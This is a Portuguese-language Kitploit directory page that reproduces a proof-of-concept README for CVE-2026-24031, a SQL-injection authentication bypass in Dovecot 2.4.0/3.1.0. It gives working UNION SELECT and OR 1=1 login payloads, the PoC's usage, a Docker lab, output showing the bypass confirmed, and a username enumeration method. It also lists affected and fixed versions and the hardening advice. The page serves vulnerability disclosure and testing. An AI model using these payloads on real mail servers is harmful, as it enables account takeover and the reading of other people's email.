Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24031 — PoC Python autocontido para bypass de autenticação SQL do Dovecot: faz login como qualquer usuário sem a senha real e enumera nomes de usuário em servidores IMAP/POP3 2.4.0/3.1.0 vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/aramosf/cve-2026-24031
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesTestes de PenetraçãoSegurança de EmailSegurança de Banco de Dados
GitHubaramosf/cve-2026-24031

CVE-2026-24031

PoC Python autocontido para bypass de autenticação SQL do Dovecot: faz login como qualquer usuário sem a senha real e enumera nomes de usuário em servidores IMAP/POP3 2.4.0/3.1.0 vulneráveis.

Ver Repositório
2111há 28 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24031: Bypass de autenticação SQL do Dovecot (autenticação + enumeração de usuários)

CVE-2026-24031 live exploit

Este repositório contém um exploit de prova de conceito para bypass de autenticação da CVE-2026-24031, uma injeção de SQL na autenticação baseada em SQL do Dovecot introduzida como uma regressão no Dovecot 2.4.0 / 3.1.0. No laboratório Docker testado (Dovecot 2.4.0 + PostgreSQL), o PoC faz login como qualquer usuário sem saber a senha real e também pode enumerar usuários.

Aviso

Este PoC executa um bypass de autenticação não autenticado contra um servidor de e-mail. Use-o apenas em um laboratório seu ou contra alvos que você esteja explicitamente autorizado a testar. Ele não modifica o estado do servidor, mas exercitará a autenticação e poderá deixar entradas de logins com falha nos logs.

Resumo da vulnerabilidade

A autenticação baseada em SQL do Dovecot fica vulnerável quando o administrador limpa a diretiva de configuração auth_username_chars (define-a com um valor vazio). Normalmente, auth_username_chars atua como um filtro de entrada que restringe quais caracteres são permitidos em um nome de usuário antes de o nome de usuário ser interpolado na consulta SQL do passdb.

Com auth_username_chars = vazio, o valor é passado para a consulta sem sql_escape_string(). Um nome de usuário criado contendo metacaracteres SQL torna-se, portanto, parte da consulta:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

O payload a seguir faz a consulta retornar uma linha para VICTIM com uma senha escolhida pelo atacante:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} é interpretado pelo Dovecot (não pelo banco de dados), portanto o esquema de senha é tratado nativamente e o truque funciona em pgsql, mysql, mariadb e sqlite. Enviar 12345 como senha então corresponde, resultando em LOGIN OK como VICTIM sem saber a senha real.

A consulta resultante é:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

Versões afetadas e corrigidas

Esta é uma regressão introduzida no Dovecot 2.4.0 e também presente no 3.1.0. As versões anteriores 2.2.x / 2.3.x escapam o nome de usuário e não são vulneráveis. A falha é corrigida nas versões 2.4.3 e 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).

A vulnerabilidade só se aplica quando todas estas condições forem atendidas:

  • Dovecot 2.4.0 ou 3.1.0;
  • um passdb SQL (driver = sql) usando pgsql, mysql, mariadb ou sqlite;
  • auth_username_chars = (vazio) — a condição de gatilho definida pelo administrador;
  • alcance de rede para o serviço IMAP / POP3 / ManageSieve (com ou sem TLS).

O PoC foi validado contra o Dovecot 2.4.0 (tag de lançamento oficial, daeb6bc5) + PostgreSQL.

Processo de exploração

1. Detectar a condição de não escape

Autentique-se com o nome de usuário ' OR '1'='1' -- e uma senha arbitrária. Em um servidor vulnerável, a consulta é alterada, então o Dovecot retorna a1 NO [UNAVAILABLE] Temporary authentication failure. em vez do clássico AUTHENTICATIONFAILED. Essa é a impressão digital de que o nome de usuário chegou à consulta SQL sem escape.

2. Bypass de autenticação com UNION SELECT

Autentique-se com o nome de usuário:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

e a senha 12345. A linha UNION substitui a coluna password para VICTIM, e {PLAIN} é interpretado pelo Dovecot, então a verificação de senha é bem-sucedida.

3. Enumeração de usuários

Como o formato do resultado da consulta difere entre "usuário existe" e "usuário não existe" (contagem de linhas e status da resposta), o servidor vaza se um nome de usuário existe. Isso funciona contra todos os backends afetados.

Como compilar e executar o PoC

O PoC é um script Python 3 autocontido (somente biblioteca padrão). Inicie o laboratório vulnerável e execute o exploit:

root@kitploit:~
./run.sh

run.sh compila e inicia o laboratório Docker (lab/docker-compose.yml), aguarda o IMAPS em 127.0.0.1:14193, e então executa o PoC. O laboratório compila o Dovecot 2.4.0 a partir do tarball de lançamento oficial com uma configuração intencionalmente vulnerável e um banco de dados PostgreSQL.

Etapas manuais equivalentes:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

Opções do PoC:

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)

O banco de dados do laboratório é inicializado com estes usuários: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass e victim/supersecret. O PoC se passa por admin sem saber a senha.

Resultados reproduzidos

O PoC foi validado de ponta a ponta no laboratório Docker. A senha real do usuário admin é admin123; o PoC faz login como admin usando 12345.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

A transcrição completa sanitizada, incluindo as etapas de controle legítimo e de detecção de não escape, está em docs/example-output.txt.

Demonstração

A demonstração animada no topo deste README (assets/CVE-2026-24031.gif) foi gravada a partir de uma sessão real contra o laboratório em execução. Recrie-a com:

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

demo.sh conduz a demonstração ao vivo; demo.cast é a gravação bruta do asciinema usada para renderizar o GIF.

Correção

O advisory (OXDC-ADV-2026-0001, DOV-8781) já foi lançado upstream; Dovecot 2.4.3 / 3.1.4 escapam o nome de usuário antes de interpolá-lo na consulta SQL. Portanto, a correção não é duplicada neste repositório. A recomendação de hardening é nunca limpar auth_username_chars, ou atualizar para uma versão corrigida.

Referências

  • Registro oficial da CVE (CVEProject cvelistV5)
  • Registro no cve.org
  • Advisory de Segurança do Dovecot OXDC-2026-0001 (dovecot.org)
  • Tarball de lançamento do Dovecot 2.4.0

Descoberta da vulnerabilidade: whisperer@yeswehack. Pesquisa e implementação do exploit: A. Ramos <[email protected]> (Twitter: @aramosf).

Sobre

PoC do bypass de autenticação SQL do Dovecot CVE-2026-24031 (bypass de autenticação + enumeração de usuários)

Baixar ferramenta
VersãoStatus
Dovecot 2.2.xNão afetado (o nome de usuário é escapado)
Dovecot 2.3.xNão afetado (o nome de usuário é escapado)
Dovecot 2.4.0Vulnerável (regressão: nome de usuário não escapado)
Dovecot 2.4.3+Corrigido (o nome de usuário é escapado)
Dovecot 3.1.0Vulnerável (mesma regressão)
Dovecot 3.1.4+Corrigido (o nome de usuário é escapado)